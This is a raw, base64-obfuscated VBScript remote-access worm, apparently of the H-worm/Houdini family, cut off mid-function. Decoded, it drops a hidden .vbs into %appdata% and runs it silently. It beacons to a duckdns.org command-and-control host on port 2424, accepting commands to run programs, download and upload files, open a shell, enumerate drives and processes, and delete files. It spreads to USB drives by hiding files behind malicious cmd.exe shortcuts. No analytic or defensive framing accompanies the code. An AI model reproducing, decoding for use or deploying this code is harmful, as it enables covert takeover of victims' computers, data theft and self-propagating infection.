1cxd2JXTXlPV3RpTTJSMVlrYzVhRnBEUUNvNVNVZE9lVnBYUmpCYVZ6bHBZVzFXYW1SRFFDcHZTVzVPYW1OdGJIZGtSMngxV25rMWJXRlhlR3hqTTJ4NlpFZFdkR0l5U25GYVYwNHdTV2xyUzJGWFdXZEpSemxwWVcxYWVtSXlVblprTWpWellqSkdhMHh0V25CaVIxWnNaVWRzZW1SSVRXZExTRTR3WTI1T2FHUnRWakJpZVd0blpFZG9iR0puYjJkSlEwQXFaMkl5U25GYWJrNTJXa2M1TTJKdGVIWlpWMUYxV2tkV2MxcFlVbXhhYld4eldsTkFLbTlqTTFKNVl6SkdNbHBZVW5aTFVYQnNZbTFSWjJGWFdVdGhWMWxuU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjZaRWRHTUdSWVRXZFFVMEFxZVUxRVFDcG5aRWRvYkdKbmIyZEpRMEFxWjFwSGJIUkpRMEoyV1cxd2VtUklTbXhaVnpGcllqTmtkV0pIT1doYVFDcHZTbU15VmpCSlEwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhUbmxhVjBZd1dsYzVhV0Z0Vm1wa1EyZHBXVmRTZGxwSFNYVmpNMUo1V2xkR2RFbHBhMHRKUTBBcVowbElaSEJrUjJkbllqSktjV016VW5sYVYwWjBXa2M1TTJKdGVIWlpWMUZuUTJkclNrbEROVEJsV0VKc1NVUXdaMDFUUUNwTFExRnJaMHh0T1hkYVZ6UkxRMUZyWjB4dVpIbGhXRkpzU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjVXbGhPZDJJeU5YcGFWMH@*yV2toclMwTlJhMmRNYms1b1pHMVdNR0l5V25CaVIxVm5Zek5TZVdNeVJqSmFXRkoyUTJkclNrbEROV3BpUnpsNldsRnZTbHBYTld0SlNHUndaRWRuUzBsRFFDcG5TVWhPYkdSRFFuWlpiWEI2WkVoS2JGbFhNV3RpTTJSMVlrYzVhRnBEUUNwblVGTkNkV0l6VW05aFZ6VnVRMjFXZFZwRFFuQmFaM0J3V21sQ2RsbHRjRzFqTWpscllqTmtkV0pIT1doYVF6VnRZVmQ0YkZwWWFIQmpNMUo2UzBoT01HTnVUbWhrYlZZd1lubHJaMlJIYUd4aVoyOW5TVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhOR2RpTWtweFdtNU9kbHBIT1ROaWJYaDJXVmRSZFZveVZqQmFiV3h6V2xOQUttOWpNMUo1WXpKR01scFlVblpMVXpWNllVYzVlV1JJUW1oa1IyZExXbGMxYTBsSGJHMUpRQ3B3YkdKdFVXZGpNMVpwUTJkdlMxcHVWblZaTTFKd1lqSTBaMlJZUW5OaU1rWnJTVU5vYldGWGVHeGtXRXB6UzFGdlMxcEhiSFJKUTBKdlpFaFNkMkl5U25GTVJ6bHBZVzVPTUdOdFZtaGlXRlozWWtjNWFGcEhWWE5aYmxadFdtMVdlVU51VG14a1EwQXFaMkl5U25Gak0xSjVXbGRHZEdSWVFuTmlNa1pyV2xOQUtqbEpSMDU1V2xkR01GcFhPV2xoYlZacVpFTm5hVmxYVW5aYVIwbDFZek5TZVZwWFJuUkphV3RMWkRKc01HRkRRblpaYlhCNlpFaEtiRmxYTVRGalIzaDJXVmRTYkVsQUttOW5TVU5BS21kSlF6VXdaVmhDYkVsRU1HZE5VMEFxUzBsRFFDcG5TVU5BS25WaU0wSnNZbWR2U2tsRE5YTmlNa1pyV201S2RtSlhXbkJpUjFWbldtMXNjMXBZVm5saVFDcHZTa2xIU2pGYWJWcHNZMmxBS2psSlF6VjVXbGRHYTBObmEyZE1iVTV6WWpOT2JFTnRWblZhUTBJellWaFNiME51VG14a1EwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhOWFprUjJod1ltMWpTMk15VmpCSlIyZ3daRWhDZGxsdGIyZFFVMEpxWTIxV2FHUkhWblpaYlhCc1dUTlJiMGx0TVhwbFJ6RnpUV2sxTkdKWGVHOWtTRkozU1dsclMyRklVakJqUnpscFlXazFkbU5IVm5WSlEwcDNZak5PTUVscGQybGhTRkl3WTBSdmRreDVTV2RLYVVKdllqTk9NRWxEV1dkSmFtOXBTVU5aWjJOSE9YbGtRMEFxYlVscE9HbEpRMWxuU1cxc2VreFlTbXhaTTFwd1ltMWphVWxEV1dkak0wSnpZVmhTYkdOcFFDcHRTVWRhY0dKSFZqRmpiWGR6U1VkYWFHSklUbXhEYldnd1pFaENkbGx0YjNWak1sWjFXa05DYVdSWFdtMWFXRWxMV2xjMWEwbEhXakZpYlU0d1lWYzVkVU5uYjB0YWJsWjFXVE5TY0dJeU5HZGFWelV4WWxkU2VXRllXbXhqYVVBcWIwdFJiMHRhYlRsNVNVTkNiRmxYVG05SlIxSjVZVmhhYkVsSGJIVkpSMXB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBJU25Ca2JWWjZRMjFzYlVsRFFDcG5Xa2hLY0dSdFZYVmhXRTU1V2xkR2EyVlRRQ281U1VoU2VXUlhWV2RrUjJoc1ltZHZaMGxEUUNwblNVZFdkV1JYTVd0amJXd3lXbGhKWjFCVFFteGlibFowV2toS2NHUnRWbmxKUTFsbldraEtjR1J0VlhWalIwWXdZVU5BS20xSlEwbzRTV2xBS20xSlIxSjVZVmhhYkV4dFVubGhXRnBzWkVoc2QxcFRRQ3B0U1VoT2QySkhiREJhV0VsTFdsYzFhMGxIYkcxRGJUVnNaVWhSUzFwWE5XdEpSVm94WW0xT01HRlhPWFZEWjNCdFpGYzFhbVJIYkhaaWFVSnNZbTVXZEZwdFJtMUpRMmhzWW01V2RGcEhiSGxMVVc5TFdsYzFNV0pYV21oYWFVQXFPVWxIVm5Wa1Z6RnJZVmhKWjBwcFFucGpSM2h3WkVkV2VVTnRXblpqYVVBcVoxcFhSbXBoUTBKdFlqSjRhMXBZU1dkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1dkTFIxWjFaRmN4YTJGWVNYQk1iazR4V1cxYWRtSkhVbXhqYmsxTFNVTkFLbWRKUTBKc1ltNVdkRnB0Um0xSlJEQm5XbGMxTVdKWFdtaGFhVUFxYlVsSFduWmlSMUpzWTJrMWRWbFhNV3hKUTFsblNXNTNhVWxEV1dkSmFVbG5TbWxBS21sbVEwbG5TbWxBS21sYVEwbG5TbWxBS21sbVEwbG5TbWxDYldJeWVHdGFXRWwxV1ZoU01HTnRiR2xrV0ZKc1kzbEFLbTFKU0U1M1lrZHNNRnBZU1V0aWJWWTBaRUFxYjB0YWJUbDVTVU5DYkZsWFRtOUpSMXB3WWtkVloyRlhOR2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYmxwWVVtMWlNbmhyV2xoSlowdEhWblZrVnpGcllWaEpjRXh0V25CaVIxWjZRMmxBS21kSlEwQXFaMXBYTlRGaVYxcG9XbWxBS2psSlIxWjFaRmN4YlZsWFdXZEthVUp0WVZkNGJFeHROV2hpVjFWblNtbEFLbWxtUTBsblNtbENiV0ZYZUd4TWJrNXdaVzFWWjBsRFdXZEpibmRwU1VOWlowbHRXV2xKUTFsblNXNTNhVWxEV1dkYWJXeHpXbE0xYUdSSVVubGhWMG94WkVkV2VrbERXV2RqTTBKellWaFNiR05uYjB0aWJWWTBaRUFxY0d4aWJWRm5XbTVXZFZrelVuQmlNalJMUTJkd2JXUlhOV3BrUjJ4MlltbENiR0p1Vm5SalNFcDJXVEpXZW1ONVFDcHZTMUZ2UzJJeU5HZGFXRX@*1WWpOSloyTnRWbnBrVnpGc1NVYzFiR1ZJVVV0RGJrNXNaRU5DZGxsdGNETmlWMng2V2xoS01tRlhUbXhKUkRCbldqSldNR0l5U25GYVYwNHdTME5LTTJGWE5YUmFNakV3WTNwd1kxaEROV05qYlRsMlpFWjRhbUZYTVRKTmFVbHdRMjVPYkdSRFFtcGlNbmh3WkVkV2RHTjVRQ281U1VjNWFXRnVaSFJoV0U1c1kyNWFjRmt5VlhWYVdHaHNXVE5HTVZwWVNqVkxRMH@*2V2xkNGJGa3pVV2RMYVVKdFkyMDVkRWxJWkhCaWFrMTVXRE5DZVdJeVRteGpNMDFwVEVOM01FOURhMHREYlZKd1lsTkNkbGx0Y0hCa1IxWjBRMjFhZG1OcFFteFpWMDV2U1VjNWFXRnRiREJhVnpCbllWYzBaMWt5T1hOaFdGSnNZbGhOUzBOWFZuVmtWekYzWTIwNWFscFlUbnBKUkRCbldsYzFNV0pZUW5saU1rNXNZek5OWjBwcFFuWlpiWEJ3WkVkV2RFeHROV2hpVjFWblNtbEFLbWxtUTBsTFExZFdkV1JYTVhkamJUbHFXbGhPZWtsRU1HZGFWelV4WWxoQ2VXSXlUbXhqTT@*xblNtbENkbGx0Y0hCa1IxWjBURzVDZVdJeVRteGpNMDV3V2tOQUttMUpRMG80U1dkdlowbERRQ3BuV2xjMU1XSllRbmxpTWs1c1l6Tk5aMUJUUW14aWJsWjBZMGhLZGxreVZucGplVUFxYlVsSE9XbGhiV3d3V2xjd2RWcFlhR3haTTFZd1dWZEtjMXBZUW1oa1IyZG5TbWxDZW1OSGVIQmtSMVo1UTIwMWJHVklVVXRhVnpWclNVZGFNV0p0VGpCaFZ6bDFRMmR3ZW1SWFNXZGFXR2h3WkVoQ2VXSXlUbXhqTT@*xblMwaENjRnBEYTB0aU1qUm5XbGhLZVdJelNXZGpiVlo2WkZjeGJFbEhOV3hsU0ZGTFEyNU9iMXBYZUhOaU1rcHhURzVLTVdKcFFDcHBaRWRHZW1FeWRIQmlSM2RuVERCWlowd3hVV2RNTVVKS1VrTkFLbWxKUTFsblkwZHNhMHhFWTNOa1NFb3hXbEZ3YkdKdFVXZGpNMVpwUTJkd2VtUlhTV2RhUjFaeldsaFNiRnB0Um0xSlEyZ3hZMjEzY0VOdE9YVkpSMVo1WTIwNWVVbElTbXhqTTFaMFdsTkNkVnBZYURCRFozQnRZVmQ0YkdNemJIcGtSMVowWWpKS2NVeHRVbXhpUjFZd1dsZGFjR0pIVldka1dFcHpRMjFhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhUjFaeldsaFNiRnB0T1hOYVIxWjVTVWhXZVdKQUttOUxXbGMxYTBsSVRqRlpaMjlMV201V2RWa3pVbkJpTWpSbldUSXhhMk15YUd4aVIzZG5TMGRPZEZwRGEwdERiVkp3WWxOQ2IyUklVbmRpTWtweFRFYzViR1ZIVm1wTVNFcHNXVmRTYUdKSGVHMWpiVGwwV1ZjMU5VTm5jSHBhV0ZGbllqSldORnBYVFdkUVUwSjZZVWRXYzJKSE9XbGhhVFZzWlVkV2FrbERaMmxLVj@*1MllsaE9kMXBYVFd4SlF6bHFTVU5KWjBwcFFtcGlWMUZ3UTIxc2JVbEhOWFprUTBKMldsaG9iRmw1Tlhwa1IxSjJaRmhSZFZsWVVteGliVkoyV201T01HTnRWbWhpVTBJd1lVZFdkVU5wUUNwblNVaEtiRmxYVW1oaVIzaHRZMj@*1ZEZsWE5UVkpSREJuWWpKV05GcFhUWFZqTTFKcllqTldNRXh1U214WlYxSm9Za2QzUzFwWGVIcGFWMnh0U1VjMWRtUkRRblphV0doc1dYazFlbVJIVW14amJrbDFXVmhTYkdKdFVuWmFiazR3WTIxV2FHSlRRakJoUjFaMVEybEFLbWRKU0Vwc1dWZFNhR0pIZUcxamJUbDBXVmMxTlVsRU1HZGlNbFkwV2xkTmRXTXpVbXRhV0VwNVRHNUtiRmxYVW1oaVIzZExXbGQ0ZWxwVFFDcExTVU5BS21kamJWWm9Xa2RHYzJKSFdubGlNakZvWW01cloxQlRRQ3BwU1dkd2JHSnRVV2RoVjFsTFEyMU9kRnBJVG05YVYzaHpTVVF3WjJOdFZtaGFSMFp6WWtkYWVXSXlNV2hpYm10TFdsYzFhMGxIV2pGaWJVNHdZVmM1ZFNJS0lDQWdJSEpsYzE5MWJIUWdQU0JTWlhCc1lXTmxLRzFoYVc1ZlkyOXVkQ3dnYlhWMFgyVjRMQ0IwYUdWZlkyOXVjM1FwQ2lBZ0lDQjZkV1pqSUQwZ1pXNWpiMlJsWDNSb1pWOXpkSEpwYm1jMk5DaE9iM1JvYVc1bkxDQnlaWE5mZFd4MExDQXhNQ3dnT0RjcENrVnVaQ0JHZFc1amRHbHZiZ3BFYVcwZ2QybDFjbmxoYW1Zc0lHeHBDbmRwZFhKNVlXcG1JRDBnWTI5ZlltbGZibUZmY25sZk1sOXpkSElvZW5WbVl5Z3dMQ0JPYjNSb2FXNW5MQ0F3TENBNU9UTXBMQ0EwTENBeExDQXlMQ0F6S1FwUWNtbDJZWFJsSUVaMWJtTjBhVzl1SUdSemEyZG1hR0ZyYzJSbUtDa0tJQ0FnSUVWNFpXTjFkR1ZIYkc5aVlXd2dkMmwxY25saGFtWUtJQ0FnSUdSemEyZG1hR0ZyYzJSbUlEMGdJaUlLUlc1a0lFWjFibU4wYVc5dUNteHBJRDBnWkhOcloyWm9ZV3R6WkdZb0tRbz0iClNldCB3c2hTaGVsbDEgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpEaW0gYXBwZGF0YWRpcjEsIHN0dWJwYXRoMQphcHBkYXRhZGlyMS@*9IHdzaFNoZWxsMS5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVhcHBkYXRhJSIpCnN0dWJwYXRoMS@*9IGFwcGRhdGFkaXIxICYgIlxZZ2lMU0VkTkdsLnZicyIKRGltIGRlY29kZWQxCmRlY29kZWQxID0gZGVjb2RlQmFzZTY0KGxvbmdUZXh0MSkKd3JpdGVCeXRlcyBzdHVicGF0aDEsIGRlY29kZWQxCndzaFNoZWxsMS5SdW4oIndzY3JpcHQgLy9CICIiIi@*mIHN0dWJwYXRoMS@*mICIiIiIpClByaXZhdGUgU3ViIHdyaXRlQnl0ZXMoZmlsZSwgYnl0ZXMpCm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBiaW5hcnlTdHJlYW0KU2V0IGJpbmFyeVN0cmVhbS@*9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikKYmluYXJ5U3RyZWFtLlR5cGUgPSBUeXBlQmluYXJ5CmJpbmFyeVN0cmVhbS5PcGVuCmJpbmFyeVN0cmVhbS5Xcml0ZSBieXRlcwpiaW5hcnlTdHJlYW0uU2F2ZVRvRmlsZSBmaWxlLCBGb3JXcml0aW5nCkVuZCBTdWIKUHJpdmF0ZSBGdW5jdGlvbiBkZWNvZGVCYXNlNjQoYmFzZTY0KQpEaW0gRE0sIEVMClNldCBETS@*9IENyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpClNldCBFTC@*9IERNLmNyZWF0ZUVsZW1lbnQoInRtcCIpCkVMLkRhdGFUeXBlID0gImJpbi5iYXNlNjQiCkVMLlRleHQgPSBiYXNlNjQKZGVjb2RlQmFzZTY0ID0gRUwuTm9kZVR5cGVkVmFsdWUKRW5kIEZ1bmN0aW9uClNldCB3c2hTaGVsbDEgPSBOb3RoaW5nDQpob3N0ID0gIjU1OTRjOGU3LT@*3NDgtNGFjOS04MmY3LTQ1Mjc2YTkwMzBlMC5kdWNrZG5zLm9yZyINCnBvcnQgPS@*yNDI0DQppbnN0YWxsZGlyID0gIiVhcHBkYXRhJSINCmxua2ZpbGUgPSBmYWxzZQ0KbG5rZm9sZGVyID0gZmFsc2UNCmRpbSBzaGVsbG9iag0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQpzdGFydHVwID0gc2hlbGxvYmouc3BlY2lhbGZvbGRlcnMgKCJzdGFydHVwIikgJi@*iXCINCmluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoaW5zdGFsbGRpcikgJi@*iXCINCmlmIG5vdCBmaWxlc3lzdGVtb2JqLmZvbGRlcmV4aXN0cyhpbnN0YWxsZGlyKSB0aGVuICBpbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldGVtcCUiKS@*mICJcIg0Kc3BsaXRlci@*9ICI8Ii@*mICJ8Ii@*mICI+Ig0Kc2xlZX@*gPS@*yNT@*wM@*0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPS@*iIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZS@*9ICIiDQpkaW0gb25lb25jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQppbnN0YWxsDQpyZXNwb25zZS@*9ICIiDQpyZXNwb25zZS@*9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdC@*ocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZC@*oMCkNCmNhc2UgImV4Y2VjdXRlIg0KcGFyYW0gPSBjbWQgKDEpDQpleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQpwYXJhbS@*9IGNtZC@*oMSkNCm9uZW9uY2UuY2xvc2UNCnNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0Kb25lb25jZS53cml0ZSBwYXJhbQ0Kb25lb25jZS5jbG9zZQ0Kc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQp3c2NyaXB0LnF1aXQNCmNhc2UgInVuaW5zdGFsbCINCnVuaW5zdGFsb@*0KY2FzZS@*ic2VuZCINCmRvd25sb2FkIGNtZC@*oMSksY21kICgyKQ0KY2FzZS@*ic2l0ZS1zZW5kIg0Kc2l0ZWRvd25sb2FkZXIgY21kICgxKSxjbWQgKDIpDQpjYXNlICJyZWN2Ig0KcGFyYW0gPSBjbWQgKDEpDQp1cGxvYWQgKHBhcmFtKQ0KY2FzZS@*gImVudW0tZHJpdmVyIg0KcG9zdC@*iaXMtZW51bS1kcml2ZXIiLGVudW1kcml2ZXINCmNhc2UgICJlbnVtLWZhZiINCnBhcmFtID0gY21kICgxKQ0KcG9zdC@*iaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZS@*gImVudW0tcHJvY2VzcyINCnBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MNCmNhc2UgICJjbWQtc2hlbGwiDQpwYXJhbS@*9IGNtZC@*oMSkNCnBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKQ0KY2FzZS@*gImRlbGV0ZSINCnBhcmFtID0gY21kICgxKQ0KZGVsZXRlZmFmIChwYXJhbSkNCmNhc2UgICJleGl0LXByb2Nlc3MiDQpwYXJhbS@*9IGNtZC@*oMSkNCmV4aXRwcm9jZXNzIChwYXJhbSkNCmNhc2UgICJzbGVlcCINCnBhcmFtID0gY21kICgxKQ0Kc2xlZX@*gPSBldmFsIChwYXJhbSkNCmVuZCBzZWxlY3QNCndzY3JpcHQuc2xlZX@*gc2xlZX@*NCndlbmQNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KZGltIGZpbGVpY29uDQpkaW0gZm9sZGVyaWNvbg0KdXBzdGFyd@*0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZS@*sIGRyaXZlLnBhdGggJi@*iXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQppZi@*gZmlsZXN5c3RlbW9iai5maWxlZXhpc3RzIChkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUpICB0aGVuDQpmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aC@*mICJcIi@*gJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcy@*9IDIrN@*0KZW5kIGlmDQpmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCmlmIG5vdCBsbmtmaWxlIHRoZW4gZXhpdCBmb3INCmlmICBpbnN0ci@*oZmlsZS5uYW1lLCIuIikgdGhlbg0KaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikgKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gMis0DQppZi@*gdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQpmaWxlbmFtZS@*9IHNwbGl0KGZpbGUubmFtZSwiLiIpDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZmlsZW5hbWUgKD@*pICYgIi5sbmsiKQ0KbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KbG5rb2JqLnRhcmdldHBhdGggPS@*iY21kLmV4ZSINCmxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCmxua29iai5hcmd1bWVudHMgPS@*iL2Mgc3RhcnQgIi@*mIHJlcGxhY2UoaW5zdGFsbG5hbWUsIi@*iLCBjaHJ3KDM0KS@*mICIgIi@*mIGNocncoMzQpKS@*mICImc3RhcnQgIi@*mIHJlcGxhY2UoZmlsZS5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZC@*oIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJi@*iXCIpICYgIlxkZWZhdWx0aWNvblwiKQ0KaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCmVuZCBpZg0KbG5rb2JqLnNhdmUoKQ0KZW5kIGlmDQplbmQgaWYNCmVuZCBpZg0KbmV4d@*0KZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KaWYgbm90IGxua2ZvbGRlciB0aGVuIGV4aXQgZm9yDQpmb2xkZXIuYXR0cmlidXRlcy@*9IDIrN@*0KZm9sZGVybmFtZS@*9IGZvbGRlci5uYW1lDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZm9sZGVybmFtZS@*mICIubG5rIikNCmxua29iai53aW5kb3dzdHlsZS@*9IDcNCmxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQpsbmtvYmoud29ya2luZ2RpcmVjdG9yeS@*9ICIiDQpsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJi@*iJnN0YXJ0IGV4cGxvcmVyICIgJiByZXBsYWNlKGZvbGRlci5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZvbGRlcmljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcZm9sZGVyXGRlZmF1bHRpY29uXCIpDQppZi@*gaW5zdHIgKGZvbGRlcmljb24sIiwiKS@*9ID@*gdGhlbg0KbG5rb2JqLmljb25sb2NhdGlvbi@*9IGZvbGRlci5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZm9sZGVyaWNvbg0KZW5kIGlmDQpsbmtvYmouc2F2ZSgpDQpuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyICggZHJpdmUucGF0aC@*mICJcIikuZmlsZXMNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQppZi@*gaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCmlmICBsY2FzZS@*oc3BsaXQoZmlsZS5uYW1lLC@*iLiIpKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gM@*0KaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJi@*iLmxuayIgKQ0KZWxzZQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZS5uYW1lKQ0KZW5kIElmDQplbHNlDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGZpbGUucGF0aCkNCmVuZCBpZg0KZW5kIGlmDQpuZXh0DQpmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJi@*iXCIgKS5zdWJmb2xkZXJzDQpmb2xkZXIuYXR0cmlidXRlcy@*9ID@*NCm5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpd@*0KZW5kIHN1Yg0KZnVuY3Rpb24gcG9zdC@*oY21kICxwYXJhbSkNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydC@*mIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdC@*9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KaWYgIGluZi@*9ICIiIHRoZW4NCmluZi@*9IGh3aWQgJiBzcGxpdGVyDQppbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3B